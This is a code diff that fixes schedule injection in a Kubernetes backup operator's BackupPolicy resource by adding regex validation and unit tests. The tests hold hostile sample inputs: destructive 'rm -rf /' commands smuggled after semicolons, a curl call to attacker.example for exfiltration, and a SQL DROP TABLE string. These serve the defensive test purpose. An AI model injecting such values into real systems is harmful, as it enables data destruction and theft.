fix: Cron Schedule Injection in BackupPolicy

api/v1alpha1/backuppolicy_types.go

@@ -46,13 +46,15 @@ type BackupPolicySpec struct {
 	// MaxAge is the maximum age of backups to retain (e.g. "7d", "12h", "30m").
 	// Backups older than this are merged. Accepts m, h, d, w suffixes.
 	// +optional
+	// +kubebuilder:validation:Pattern=`^\d+[mhdw]$`
 	// +operator-sdk:csv:customresourcedefinitions:type=spec,displayName="Max Age"
 	MaxAge string `json:"maxAge,omitempty"`
 
 	// Schedule defines the tiered backup schedule as a space-separated list of
 	// interval,keep_count pairs (e.g. "15m,4 60m,11 24h,7").
 	// Intervals must be strictly increasing. Supported units: m, h, d, w.
 	// +optional
+	// +kubebuilder:validation:Pattern=`^(\d+[mhdw],\d+)(\s+\d+[mhdw],\d+)*$`
 	// +operator-sdk:csv:customresourcedefinitions:type=spec,displayName="Schedule"
 	Schedule string `json:"schedule,omitempty"`
 }

internal/controller/backuppolicy_controller.go

@@ -22,6 +22,7 @@ import (
 	"fmt"
 	"net/http"
 	"reflect"
+	"regexp"
 	"strings"
 	"time"
 
@@ -55,6 +56,7 @@ const (
 
 // Event reason constants for BackupPolicy reconciliation.
 const (
+	eventReasonPolicySpecInvalid        = "PolicySpecInvalid"
 	eventReasonPolicyClusterLookupError = "PolicyClusterLookupError"
 	eventReasonPolicyClusterAuthError   = "PolicyClusterAuthError"
 	eventReasonPolicyCreateFailed       = "PolicyCreateFailed"
@@ -63,6 +65,13 @@ const (
 	eventReasonPolicyDetachFailed       = "PolicyDetachFailed"
 )
 
+// schedulePattern matches a space-separated list of interval,keep_count pairs
+// (e.g. "15m,4 60m,11 24h,7"). Supported interval units: m, h, d, w.
+var schedulePattern = regexp.MustCompile(`^(\d+[mhdw],\d+)(\s+\d+[mhdw],\d+)*$`)
+
+// maxAgePattern matches a positive integer followed by a unit suffix (m, h, d, w).
+var maxAgePattern = regexp.MustCompile(`^\d+[mhdw]$`)
+
 // BackupPolicyReconciler reconciles a BackupPolicy object.
 type BackupPolicyReconciler struct {
 	client.Client
@@ -114,6 +123,20 @@ func (r *BackupPolicyReconciler) Reconcile(ctx context.Context, req ctrl.Request
 		return r.handleDeletion(ctx, policyCR)
 	}
 
+	// Validate user-supplied string fields before any mutation or backend call.
+	// Schedule and MaxAge are immutable, so a bad value is a terminal condition —
+	// the CR must be deleted and recreated; we do not requeue.
+	if msg := validateBackupPolicySpec(policyCR.Spec); msg != "" {
+		r.Recorder.Event(policyCR, corev1.EventTypeWarning, eventReasonPolicySpecInvalid, msg)
+		if patchErr := r.patchStatus(ctx, policyCR, func(s *simplyblockv1alpha1.BackupPolicyStatus) {
+			s.Phase = simplyblockv1alpha1.BackupPolicyPhaseFailed
+			s.Message = msg
+		}); patchErr != nil {
+			return ctrl.Result{}, patchErr
+		}
+		return ctrl.Result{}, nil
+	}
+
 	if !controllerutil.ContainsFinalizer(policyCR, backupPolicyFinalizer) {
 		controllerutil.AddFinalizer(policyCR, backupPolicyFinalizer)
 		if err := r.Update(ctx, policyCR); err != nil {
@@ -686,3 +709,30 @@ func removeAttachment(slice []simplyblockv1alpha1.AttachedLvol, remove simplyblo
 func attachmentKey(a simplyblockv1alpha1.AttachedLvol) string {
 	return a.PVCNamespace + "/" + a.PVCName + "/" + a.LvolID
 }
+
+// validateBackupPolicySpec checks the format of user-supplied string fields
+// that are forwarded to the backend API without further escaping. It returns a
+// non-empty human-readable message when a field value is present but does not
+// match the expected format, and an empty string when the spec is valid.
+//
+// The kubebuilder Pattern markers on the CRD provide admission-time enforcement,
+// but this runtime check is the last line of defense against malformed or
+// injected values reaching the backend (e.g. clusters upgraded before the new
+// CRD schema was applied, or direct etcd writes).
+func validateBackupPolicySpec(spec simplyblockv1alpha1.BackupPolicySpec) string {
+	if spec.Schedule != "" && !schedulePattern.MatchString(spec.Schedule) {
+		return fmt.Sprintf(
+			"invalid schedule %q: expected space-separated interval,keep_count pairs "+
+				"(e.g. \"15m,4 60m,11 24h,7\"); supported units: m, h, d, w",
+			spec.Schedule,
+		)
+	}
+	if spec.MaxAge != "" && !maxAgePattern.MatchString(spec.MaxAge) {
+		return fmt.Sprintf(
+			"invalid maxAge %q: expected a positive integer with a unit suffix "+
+				"(e.g. \"7d\"); supported units: m, h, d, w",
+			spec.MaxAge,
+		)
+	}
+	return ""
+}

internal/controller/backuppolicy_controller_unit_test.go

@@ -595,6 +595,125 @@ func assertAttachDetachRequest(t *testing.T, req webapimock.RecordedRequest, pat
 	}
 }
 
+// ---- validateBackupPolicySpec tests ----
+
+func TestValidateBackupPolicySpec(t *testing.T) {
+	tests := []struct {
+		name    string
+		spec    simplyblockv1alpha1.BackupPolicySpec
+		wantErr bool
+	}{
+		// valid — empty optional fields
+		{name: "empty fields", spec: simplyblockv1alpha1.BackupPolicySpec{}},
+		// valid schedules
+		{name: "schedule single pair minutes", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15m,4"}},
+		{name: "schedule single pair hours", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "2h,3"}},
+		{name: "schedule single pair days", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "1d,7"}},
+		{name: "schedule single pair weeks", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "1w,2"}},
+		{name: "schedule multi pair", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15m,4 60m,11 24h,7"}},
+		// valid maxAge
+		{name: "maxAge minutes", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "30m"}},
+		{name: "maxAge hours", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "12h"}},
+		{name: "maxAge days", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "7d"}},
+		{name: "maxAge weeks", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "2w"}},
+		// invalid schedules
+		{name: "schedule @reboot macro", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "@reboot"}, wantErr: true},
+		{name: "schedule shell injection semicolon", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15m,4; rm -rf /"}, wantErr: true},
+		{name: "schedule missing keep count", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15m"}, wantErr: true},
+		{name: "schedule invalid unit", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15s,4"}, wantErr: true},
+		{name: "schedule named macro", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "@daily"}, wantErr: true},
+		// invalid maxAge
+		{name: "maxAge bad unit suffix", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "7x"}, wantErr: true},
+		{name: "maxAge shell injection", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "7d; rm -rf /"}, wantErr: true},
+		{name: "maxAge no leading digit", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "d"}, wantErr: true},
+		{name: "maxAge empty string unit only", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "h"}, wantErr: true},
+	}
+	for _, tc := range tests {
+		t.Run(tc.name, func(t *testing.T) {
+			msg := validateBackupPolicySpec(tc.spec)
+			if tc.wantErr && msg == "" {
+				t.Fatal("expected a validation error message, got none")
+			}
+			if !tc.wantErr && msg != "" {
+				t.Fatalf("expected no error, got %q", msg)
+			}
+		})
+	}
+}
+
+func TestBackupPolicyReconcileInvalidScheduleSetsFailed(t *testing.T) {
+	const policyName = "policy-bad-schedule"
+
+	policy := testBackupPolicyCR(policyName)
+	// Inject a malicious schedule string — must not reach the backend.
+	policy.Spec.Schedule = "@reboot; curl attacker.example/exfil"
+
+	r := newBackupPolicyTestReconciler(t, policy)
+
+	res, err := r.Reconcile(context.Background(), ctrl.Request{NamespacedName: client.ObjectKeyFromObject(policy)})
+	if err != nil {
+		t.Fatalf("reconcile returned unexpected error: %v", err)
+	}
+	if res.RequeueAfter != 0 {
+		t.Fatalf("expected terminal (no-requeue) result, got %+v", res)
+	}
+
+	current := getBackupPolicy(t, r.Client, policy)
+	if current.Status.Phase != simplyblockv1alpha1.BackupPolicyPhaseFailed {
+		t.Fatalf("expected phase %q, got %q", simplyblockv1alpha1.BackupPolicyPhaseFailed, current.Status.Phase)
+	}
+	if !strings.Contains(current.Status.Message, "invalid schedule") {
+		t.Fatalf("expected message to mention \"invalid schedule\", got %q", current.Status.Message)
+	}
+}
+
+func TestBackupPolicyReconcileInvalidMaxAgeSetsFailed(t *testing.T) {
+	const policyName = "policy-bad-maxage"
+
+	policy := testBackupPolicyCR(policyName)
+	// Inject a malicious maxAge string — must not reach the backend.
+	policy.Spec.MaxAge = "7d; DROP TABLE backups;--"
+
+	r := newBackupPolicyTestReconciler(t, policy)
+
+	res, err := r.Reconcile(context.Background(), ctrl.Request{NamespacedName: client.ObjectKeyFromObject(policy)})
+	if err != nil {
+		t.Fatalf("reconcile returned unexpected error: %v", err)
+	}
+	if res.RequeueAfter != 0 {
+		t.Fatalf("expected terminal (no-requeue) result, got %+v", res)
+	}
+
+	current := getBackupPolicy(t, r.Client, policy)
+	if current.Status.Phase != simplyblockv1alpha1.BackupPolicyPhaseFailed {
+		t.Fatalf("expected phase %q, got %q", simplyblockv1alpha1.BackupPolicyPhaseFailed, current.Status.Phase)
+	}
+	if !strings.Contains(current.Status.Message, "invalid maxAge") {
+		t.Fatalf("expected message to mention \"invalid maxAge\", got %q", current.Status.Message)
+	}
+}
+
+func TestBackupPolicyReconcileInvalidSpecMakesNoBackendCalls(t *testing.T) {
+	const policyName = "policy-bad-no-api"
+
+	policy := testBackupPolicyCR(policyName)
+	policy.Spec.Schedule = "*/5 * * * *" // cron-style — not our format
+
+	// Deliberately provide no mock server — any backend call would panic or
+	// fail with a connection error, proving the validation short-circuits first.
+	r := newBackupPolicyTestReconciler(t, policy)
+
+	_, err := r.Reconcile(context.Background(), ctrl.Request{NamespacedName: client.ObjectKeyFromObject(policy)})
+	if err != nil {
+		t.Fatalf("reconcile returned unexpected error: %v", err)
+	}
+
+	current := getBackupPolicy(t, r.Client, policy)
+	if current.Status.Phase != simplyblockv1alpha1.BackupPolicyPhaseFailed {
+		t.Fatalf("expected Failed phase, got %q", current.Status.Phase)
+	}
+}
+
 func newBackupPolicyTestReconciler(t *testing.T, objects ...client.Object) *BackupPolicyReconciler {
 	t.Helper()